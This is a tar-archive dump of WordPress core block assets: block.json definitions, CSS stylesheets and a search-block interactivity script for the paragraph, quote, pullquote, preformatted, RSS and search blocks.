"dropCap": { "type": "boolean", "default": false }, "placeholder": { "type": "string" }, "direction": { "type": "string", "enum": [ "ltr", "rtl" ] } }, "supports": { "anchor": true, "className": false, "color": { "link": true }, "fontSize": true, "lineHeight": true, "__experimentalSelector": "p", "__unstablePasteTextInline": true }, "editorStyle": "wp-block-paragraph-editor", "style": "wp-block-paragraph" } blocks/paragraph/editor.min.css000064400000001145151202620300012540 0ustar00.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}blocks/paragraph/style-rtl.min.css000064400000001203151202620300013204 0ustar00.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:right;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em 0 0 .1em;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-right:.1em}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}blocks/paragraph/editor.css000064400000001200151202620300011746 0ustar00.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{ min-height:auto !important; } .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{ opacity:1; } .block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{ opacity:0; } .block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{ rotate:180deg; }blocks/paragraph/style.min.css000064400000001201151202620300012403 0ustar00.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}p.has-background{padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg}blocks/paragraph/editor-rtl.css000064400000001200151202620300012545 0ustar00.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{ min-height:auto !important; } .block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{ opacity:1; } .block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{ opacity:0; } .block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{ rotate:180deg; }blocks/paragraph/editor-rtl.min.css000064400000001145151202620300013337 0ustar00.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}blocks/paragraph/style-rtl.css000064400000001334151202620300012427 0ustar00.is-small-text{ font-size:.875em; } .is-regular-text{ font-size:1em; } .is-large-text{ font-size:2.25em; } .is-larger-text{ font-size:3em; } .has-drop-cap:not(:focus):first-letter{ float:right; font-size:8.4em; font-style:normal; font-weight:100; line-height:.68; margin:.05em 0 0 .1em; text-transform:uppercase; } body.rtl .has-drop-cap:not(:focus):first-letter{ float:none; margin-right:.1em; } p.has-drop-cap.has-background{ overflow:hidden; } p.has-background{ padding:1.25em 2.375em; } :where(p.has-text-color:not(.has-link-color)) a{ color:inherit; } p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{ rotate:180deg; }blocks/paragraph/style.css000064400000001332151202620300011626 0ustar00.is-small-text{ font-size:.875em; } .is-regular-text{ font-size:1em; } .is-large-text{ font-size:2.25em; } .is-larger-text{ font-size:3em; } .has-drop-cap:not(:focus):first-letter{ float:left; font-size:8.4em; font-style:normal; font-weight:100; line-height:.68; margin:.05em .1em 0 0; text-transform:uppercase; } body.rtl .has-drop-cap:not(:focus):first-letter{ float:none; margin-left:.1em; } p.has-drop-cap.has-background{ overflow:hidden; } p.has-background{ padding:1.25em 2.375em; } :where(p.has-text-color:not(.has-link-color)) a{ color:inherit; } p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{ rotate:180deg; }blocks/preformatted/block.json000064400000000505151202620300012471 0ustar00{ "apiVersion": 2, "name": "core/preformatted", "category": "text", "attributes": { "content": { "type": "string", "source": "html", "selector": "pre", "default": "", "__unstablePreserveWhiteSpace": true } }, "supports": { "anchor": true, "fontSize": true }, "style": "wp-block-preformatted" } blocks/preformatted/style-rtl.min.css000064400000000207151202620300013736 0ustar00.wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em}blocks/preformatted/style.min.css000064400000000207151202620300013137 0ustar00.wp-block-preformatted{box-sizing:border-box;white-space:pre-wrap}:where(.wp-block-preformatted.has-background){padding:1.25em 2.375em}blocks/preformatted/style-rtl.css000064400000000226151202620300013155 0ustar00.wp-block-preformatted{ box-sizing:border-box; white-space:pre-wrap; } :where(.wp-block-preformatted.has-background){ padding:1.25em 2.375em; }blocks/preformatted/style.css000064400000000226151202620300012356 0ustar00.wp-block-preformatted{ box-sizing:border-box; white-space:pre-wrap; } :where(.wp-block-preformatted.has-background){ padding:1.25em 2.375em; }blocks/pullquote/block.json000064400000001220151202620300012022 0ustar00{ "apiVersion": 2, "name": "core/pullquote", "category": "text", "attributes": { "value": { "type": "string", "source": "html", "selector": "blockquote", "multiline": "p" }, "citation": { "type": "string", "source": "html", "selector": "cite", "default": "" }, "mainColor": { "type": "string" }, "customMainColor": { "type": "string" }, "textColor": { "type": "string" }, "customTextColor": { "type": "string" } }, "supports": { "anchor": true, "align": [ "left", "right", "wide", "full" ] }, "editorStyle": "wp-block-pullquote-editor", "style": "wp-block-pullquote" } blocks/pullquote/editor.min.css000064400000000362151202620300012625 0ustar00.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}blocks/pullquote/style-rtl.min.css000064400000001672151202620300013303 0ustar00.wp-block-pullquote{box-sizing:border-box;overflow-wrap:break-word;padding:3em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}:where(.wp-block-pullquote){margin:0 0 1em}.wp-block-pullquote.has-text-align-left blockquote{text-align:right}.wp-block-pullquote.has-text-align-right blockquote{text-align:left}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote cite{color:inherit}blocks/pullquote/theme.css000064400000000450151202620300011655 0ustar00.wp-block-pullquote{ border-bottom:4px solid; border-top:4px solid; color:currentColor; margin-bottom:1.75em; } .wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{ color:currentColor; font-size:.8125em; font-style:normal; text-transform:uppercase; }blocks/pullquote/theme-rtl.min.css000064400000000413151202620300013235 0ustar00.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}blocks/pullquote/editor.css000064400000000407151202620300012043 0ustar00.wp-block-pullquote.is-style-solid-color blockquote p{ font-size:32px; } .wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{ font-style:normal; text-transform:none; } .wp-block-pullquote .wp-block-pullquote__citation{ color:inherit; }blocks/pullquote/theme.min.css000064400000000413151202620300012436 0ustar00.wp-block-pullquote{border-bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}blocks/pullquote/style.min.css000064400000001672151202620300012504 0ustar00.wp-block-pullquote{box-sizing:border-box;overflow-wrap:break-word;padding:3em 0;text-align:center}.wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{color:inherit}.wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{max-width:420px}.wp-block-pullquote cite,.wp-block-pullquote footer{position:relative}.wp-block-pullquote .has-text-color a{color:inherit}:where(.wp-block-pullquote){margin:0 0 1em}.wp-block-pullquote.has-text-align-left blockquote{text-align:left}.wp-block-pullquote.has-text-align-right blockquote{text-align:right}.wp-block-pullquote.is-style-solid-color{border:none}.wp-block-pullquote.is-style-solid-color blockquote{margin-left:auto;margin-right:auto;max-width:60%}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:2em;margin-bottom:0;margin-top:0}.wp-block-pullquote.is-style-solid-color blockquote cite{font-style:normal;text-transform:none}.wp-block-pullquote cite{color:inherit}blocks/pullquote/theme-rtl.css000064400000000450151202620300012454 0ustar00.wp-block-pullquote{ border-bottom:4px solid; border-top:4px solid; color:currentColor; margin-bottom:1.75em; } .wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{ color:currentColor; font-size:.8125em; font-style:normal; text-transform:uppercase; }blocks/pullquote/editor-rtl.css000064400000000407151202620300012642 0ustar00.wp-block-pullquote.is-style-solid-color blockquote p{ font-size:32px; } .wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{ font-style:normal; text-transform:none; } .wp-block-pullquote .wp-block-pullquote__citation{ color:inherit; }blocks/pullquote/editor-rtl.min.css000064400000000362151202620300013424 0ustar00.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}blocks/pullquote/style-rtl.css000064400000002044151202620300012513 0ustar00.wp-block-pullquote{ box-sizing:border-box; overflow-wrap:break-word; padding:3em 0; text-align:center; } .wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{ color:inherit; } .wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{ max-width:420px; } .wp-block-pullquote cite,.wp-block-pullquote footer{ position:relative; } .wp-block-pullquote .has-text-color a{ color:inherit; } :where(.wp-block-pullquote){ margin:0 0 1em; } .wp-block-pullquote.has-text-align-left blockquote{ text-align:right; } .wp-block-pullquote.has-text-align-right blockquote{ text-align:left; } .wp-block-pullquote.is-style-solid-color{ border:none; } .wp-block-pullquote.is-style-solid-color blockquote{ margin-left:auto; margin-right:auto; max-width:60%; } .wp-block-pullquote.is-style-solid-color blockquote p{ font-size:2em; margin-bottom:0; margin-top:0; } .wp-block-pullquote.is-style-solid-color blockquote cite{ font-style:normal; text-transform:none; } .wp-block-pullquote cite{ color:inherit; }blocks/pullquote/style.css000064400000002044151202620300011714 0ustar00.wp-block-pullquote{ box-sizing:border-box; overflow-wrap:break-word; padding:3em 0; text-align:center; } .wp-block-pullquote blockquote,.wp-block-pullquote cite,.wp-block-pullquote p{ color:inherit; } .wp-block-pullquote.alignleft,.wp-block-pullquote.alignright{ max-width:420px; } .wp-block-pullquote cite,.wp-block-pullquote footer{ position:relative; } .wp-block-pullquote .has-text-color a{ color:inherit; } :where(.wp-block-pullquote){ margin:0 0 1em; } .wp-block-pullquote.has-text-align-left blockquote{ text-align:left; } .wp-block-pullquote.has-text-align-right blockquote{ text-align:right; } .wp-block-pullquote.is-style-solid-color{ border:none; } .wp-block-pullquote.is-style-solid-color blockquote{ margin-left:auto; margin-right:auto; max-width:60%; } .wp-block-pullquote.is-style-solid-color blockquote p{ font-size:2em; margin-bottom:0; margin-top:0; } .wp-block-pullquote.is-style-solid-color blockquote cite{ font-style:normal; text-transform:none; } .wp-block-pullquote cite{ color:inherit; }blocks/quote/block.json000064400000000712151202620300011132 0ustar00{ "apiVersion": 2, "name": "core/quote", "category": "text", "attributes": { "value": { "type": "string", "source": "html", "selector": "blockquote", "multiline": "p", "default": "" }, "citation": { "type": "string", "source": "html", "selector": "cite", "default": "" }, "align": { "type": "string" } }, "supports": { "anchor": true }, "editorStyle": "wp-block-quote-editor", "style": "wp-block-quote" } blocks/quote/style-rtl.min.css000064400000001227151202620300012402 0ustar00.wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:left}blocks/quote/theme.css000064400000001014151202620300010755 0ustar00.wp-block-quote{ border-left:.25em solid; margin:0 0 1.75em; padding-left:1em; } .wp-block-quote cite,.wp-block-quote footer{ color:currentColor; font-size:.8125em; font-style:normal; position:relative; } .wp-block-quote.has-text-align-right{ border-left:none; border-right:.25em solid; padding-left:0; padding-right:1em; } .wp-block-quote.has-text-align-center{ border:none; padding-left:0; } .wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{ border:none; }blocks/quote/theme-rtl.min.css000064400000000727151202620300012350 0ustar00.wp-block-quote{border-right:.25em solid;margin:0 0 1.75em;padding-right:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:.25em solid;border-right:none;padding-left:1em;padding-right:0}.wp-block-quote.has-text-align-center{border:none;padding-right:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{border:none}blocks/quote/theme.min.css000064400000000724151202620300011546 0ustar00.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-size:.8125em;font-style:normal;position:relative}.wp-block-quote.has-text-align-right{border-left:none;border-right:.25em solid;padding-left:0;padding-right:1em}.wp-block-quote.has-text-align-center{border:none;padding-left:0}.wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{border:none}blocks/quote/style.min.css000064400000001230151202620300011575 0ustar00.wp-block-quote{box-sizing:border-box;overflow-wrap:break-word}.wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){margin-bottom:1em;padding:0 1em}.wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{font-size:1.5em;font-style:italic;line-height:1.6}.wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{font-size:1.125em;text-align:right}blocks/quote/theme-rtl.css000064400000001017151202620300011557 0ustar00.wp-block-quote{ border-right:.25em solid; margin:0 0 1.75em; padding-right:1em; } .wp-block-quote cite,.wp-block-quote footer{ color:currentColor; font-size:.8125em; font-style:normal; position:relative; } .wp-block-quote.has-text-align-right{ border-left:.25em solid; border-right:none; padding-left:1em; padding-right:0; } .wp-block-quote.has-text-align-center{ border:none; padding-right:0; } .wp-block-quote.is-large,.wp-block-quote.is-style-large,.wp-block-quote.is-style-plain{ border:none; }blocks/quote/style-rtl.css000064400000001275151202620300011623 0ustar00.wp-block-quote{ box-sizing:border-box; overflow-wrap:break-word; } .wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){ margin-bottom:1em; padding:0 1em; } .wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{ font-size:1.5em; font-style:italic; line-height:1.6; } .wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{ font-size:1.125em; text-align:left; }blocks/quote/style.css000064400000001276151202620300011025 0ustar00.wp-block-quote{ box-sizing:border-box; overflow-wrap:break-word; } .wp-block-quote.is-large:where(:not(.is-style-plain)),.wp-block-quote.is-style-large:where(:not(.is-style-plain)){ margin-bottom:1em; padding:0 1em; } .wp-block-quote.is-large:where(:not(.is-style-plain)) p,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) p{ font-size:1.5em; font-style:italic; line-height:1.6; } .wp-block-quote.is-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-large:where(:not(.is-style-plain)) footer,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) cite,.wp-block-quote.is-style-large:where(:not(.is-style-plain)) footer{ font-size:1.125em; text-align:right; }blocks/rss/block.json000064400000001310151202620300010577 0ustar00{ "apiVersion": 2, "name": "core/rss", "category": "widgets", "attributes": { "columns": { "type": "number", "default": 2 }, "blockLayout": { "type": "string", "default": "list" }, "feedURL": { "type": "string", "default": "" }, "itemsToShow": { "type": "number", "default": 5 }, "displayExcerpt": { "type": "boolean", "default": false }, "displayAuthor": { "type": "boolean", "default": false }, "displayDate": { "type": "boolean", "default": false }, "excerptLength": { "type": "number", "default": 55 } }, "supports": { "align": true, "html": false }, "editorStyle": "wp-block-rss-editor", "style": "wp-block-rss" } blocks/rss/editor.min.css000064400000000374151202620300011405 0ustar00.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1;min-width:80%}blocks/rss/style-rtl.min.css000064400000001273151202620300012055 0ustar00ul.wp-block-rss{list-style:none;padding:0}ul.wp-block-rss.wp-block-rss{box-sizing:border-box}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;list-style:none;padding:0}ul.wp-block-rss.is-grid li{margin:0 0 1em 1em;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}blocks/rss/editor.css000064400000000437151202620300010623 0ustar00.wp-block-rss li a>div{ display:inline; } .wp-block-rss__placeholder-form>*{ margin-bottom:8px; } @media (min-width:782px){ .wp-block-rss__placeholder-form>*{ margin-bottom:0; } } .wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{ flex:1; min-width:80%; }blocks/rss/style.min.css000064400000001273151202620300011256 0ustar00ul.wp-block-rss{list-style:none;padding:0}ul.wp-block-rss.wp-block-rss{box-sizing:border-box}ul.wp-block-rss.alignleft{margin-right:2em}ul.wp-block-rss.alignright{margin-left:2em}ul.wp-block-rss.is-grid{display:flex;flex-wrap:wrap;list-style:none;padding:0}ul.wp-block-rss.is-grid li{margin:0 1em 1em 0;width:100%}@media (min-width:600px){ul.wp-block-rss.columns-2 li{width:calc(50% - 1em)}ul.wp-block-rss.columns-3 li{width:calc(33.33333% - 1em)}ul.wp-block-rss.columns-4 li{width:calc(25% - 1em)}ul.wp-block-rss.columns-5 li{width:calc(20% - 1em)}ul.wp-block-rss.columns-6 li{width:calc(16.66667% - 1em)}}.wp-block-rss__item-author,.wp-block-rss__item-publish-date{display:block;font-size:.8125em}blocks/rss/editor-rtl.css000064400000000437151202620300011422 0ustar00.wp-block-rss li a>div{ display:inline; } .wp-block-rss__placeholder-form>*{ margin-bottom:8px; } @media (min-width:782px){ .wp-block-rss__placeholder-form>*{ margin-bottom:0; } } .wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{ flex:1; min-width:80%; }blocks/rss/editor-rtl.min.css000064400000000374151202620300012204 0ustar00.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1;min-width:80%}blocks/rss/style-rtl.css000064400000001465151202620300011276 0ustar00ul.wp-block-rss{ list-style:none; padding:0; } ul.wp-block-rss.wp-block-rss{ box-sizing:border-box; } ul.wp-block-rss.alignleft{ margin-right:2em; } ul.wp-block-rss.alignright{ margin-left:2em; } ul.wp-block-rss.is-grid{ display:flex; flex-wrap:wrap; list-style:none; padding:0; } ul.wp-block-rss.is-grid li{ margin:0 0 1em 1em; width:100%; } @media (min-width:600px){ ul.wp-block-rss.columns-2 li{ width:calc(50% - 1em); } ul.wp-block-rss.columns-3 li{ width:calc(33.33333% - 1em); } ul.wp-block-rss.columns-4 li{ width:calc(25% - 1em); } ul.wp-block-rss.columns-5 li{ width:calc(20% - 1em); } ul.wp-block-rss.columns-6 li{ width:calc(16.66667% - 1em); } } .wp-block-rss__item-author,.wp-block-rss__item-publish-date{ display:block; font-size:.8125em; }blocks/rss/style.css000064400000001465151202620300010477 0ustar00ul.wp-block-rss{ list-style:none; padding:0; } ul.wp-block-rss.wp-block-rss{ box-sizing:border-box; } ul.wp-block-rss.alignleft{ margin-right:2em; } ul.wp-block-rss.alignright{ margin-left:2em; } ul.wp-block-rss.is-grid{ display:flex; flex-wrap:wrap; list-style:none; padding:0; } ul.wp-block-rss.is-grid li{ margin:0 1em 1em 0; width:100%; } @media (min-width:600px){ ul.wp-block-rss.columns-2 li{ width:calc(50% - 1em); } ul.wp-block-rss.columns-3 li{ width:calc(33.33333% - 1em); } ul.wp-block-rss.columns-4 li{ width:calc(25% - 1em); } ul.wp-block-rss.columns-5 li{ width:calc(20% - 1em); } ul.wp-block-rss.columns-6 li{ width:calc(16.66667% - 1em); } } .wp-block-rss__item-author,.wp-block-rss__item-publish-date{ display:block; font-size:.8125em; }blocks/rss.php000064400000000000151202620300007316 0ustar00blocks/search/block.json000064400000001236151202620300011244 0ustar00{ "apiVersion": 2, "name": "core/search", "category": "widgets", "attributes": { "label": { "type": "string" }, "showLabel": { "type": "boolean", "default": true }, "placeholder": { "type": "string", "default": "" }, "width": { "type": "number" }, "widthUnit": { "type": "string" }, "buttonText": { "type": "string" }, "buttonPosition": { "type": "string", "default": "button-outside" }, "buttonUseIcon": { "type": "boolean", "default": false } }, "supports": { "align": [ "left", "center", "right" ], "html": false }, "editorStyle": "wp-block-search-editor", "style": "wp-block-search" } blocks/search/editor.min.css000064400000000430151202620300012034 0ustar00.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search .wp-block-search__button{align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center}.wp-block-search__components-button-group{margin-top:10px}blocks/search/style-rtl.min.css000064400000004137151202620300012515 0ustar00.wp-block-search__button{margin-right:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{fill:currentColor;min-height:24px;min-width:24px;vertical-align:text-bottom}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search__input{-webkit-appearance:initial;appearance:none;border:1px solid #949494;flex-grow:1;margin-left:0;margin-right:0;min-width:3rem;padding:8px;text-decoration:unset!important}.wp-block-search.wp-block-search__button-only .wp-block-search__button{flex-shrink:0;margin-right:0;max-width:calc(100% - 100px)}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper){border:1px solid #949494;box-sizing:border-box;padding:4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input{border:none;border-radius:0;padding:0 4px}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) .wp-block-search__input:focus{outline:none}:where(.wp-block-search__button-inside .wp-block-search__inside-wrapper) :where(.wp-block-search__button){padding:4px 8px}.wp-block-search.aligncenter .wp-block-search__inside-wrapper{margin:auto}.wp-block-search__button-behavior-expand .wp-block-search__inside-wrapper{min-width:0!important;transition-property:width}.wp-block-search__button-behavior-expand .wp-block-search__input{flex-basis:100%;transition-duration:.3s}.wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden,.wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden .wp-block-search__inside-wrapper{overflow:hidden}.wp-block-search__button-behavior-expand.wp-block-search__searchfield-hidden .wp-block-search__input{border-left-width:0!important;border-right-width:0!important;flex-basis:0;flex-grow:0;margin:0;min-width:0!important;padding-left:0!important;padding-right:0!important;width:0!important}.wp-block[data-align=right] .wp-block-search__button-behavior-expand .wp-block-search__inside-wrapper{float:left}blocks/search/theme.css000064400000000215151202620300011067 0ustar00.wp-block-search .wp-block-search__label{ font-weight:700; } .wp-block-search__button{ border:1px solid #ccc; padding:.375em .625em; }blocks/search/theme-rtl.min.css000064400000000176151202620300012456 0ustar00.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}blocks/search/editor.css000064400000000466151202620300011263 0ustar00.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{ margin:auto; } .wp-block-search .wp-block-search__button{ align-items:center; border-radius:initial; display:flex; height:auto; justify-content:center; } .wp-block-search__components-button-group{ margin-top:10px; }blocks/search/view.min.asset.php000064400000000124151202620300012635 0ustar00 array(), 'version' => 'ff76b5016de2df424c55'); blocks/search/view.js000064400000005732151202620300010574 0ustar00"use strict"; (self["__WordPressPrivateInteractivityAPI__"] = self["__WordPressPrivateInteractivityAPI__"] || []).push([[222],{ /***/ 534: /***/ (function(__unused_webpack_module, __unused_webpack___webpack_exports__, __webpack_require__) { /* harmony import */ var _wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(754); /** * WordPress dependencies */ (0,_wordpress_interactivity__WEBPACK_IMPORTED_MODULE_0__/* .store */ .h)({ selectors: { core: { search: { ariaLabel: ({ context }) => { const { ariaLabelCollapsed, ariaLabelExpanded } = context.core.search; return context.core.search.isSearchInputVisible ? ariaLabelExpanded : ariaLabelCollapsed; }, ariaControls: ({ context }) => { return context.core.search.isSearchInputVisible ? null : context.core.search.inputId; }, type: ({ context }) => { return context.core.search.isSearchInputVisible ? 'submit' : 'button'; }, tabindex: ({ context }) => { return context.core.search.isSearchInputVisible ? '0' : '-1'; } } } }, actions: { core: { search: { openSearchInput: ({ context, event, ref }) => { if (!context.core.search.isSearchInputVisible) { event.preventDefault(); context.core.search.isSearchInputVisible = true; ref.parentElement.querySelector('input').focus(); } }, closeSearchInput: ({ context }) => { context.core.search.isSearchInputVisible = false; }, handleSearchKeydown: store => { const { actions, event, ref } = store; // If Escape close the menu. if (event?.key === 'Escape') { actions.core.search.closeSearchInput(store); ref.querySelector('button').focus(); } }, handleSearchFocusout: store => { const { actions, event, ref } = store; // If focus is outside search form, and in the document, close menu // event.target === The element losing focus // event.relatedTarget === The element receiving focus (if any) // When focusout is outside the document, // `window.document.activeElement` doesn't change. if (!ref.contains(event.relatedTarget) && event.target !== window.document.activeElement) { actions.core.search.closeSearchInput(store); } } } } } }); /***/ }) }, /******/ function(__webpack_require__) { // webpackRuntimeModules /******/ var __webpack_exec__ = function(moduleId) { return __webpack_require__(__webpack_require__.s = moduleId); } /******/ var __webpack_exports__ = (__webpack_exec__(534)); /******/ } ]);blocks/search/theme.min.css000064400000000176151202620300011657 0ustar00.wp-block-search .wp-block-search__label{font-weight:700}.wp-block-search__button{border:1px solid #ccc;padding:.375em .625em}blocks/search/style.min.css000064400000004136151202620300011715 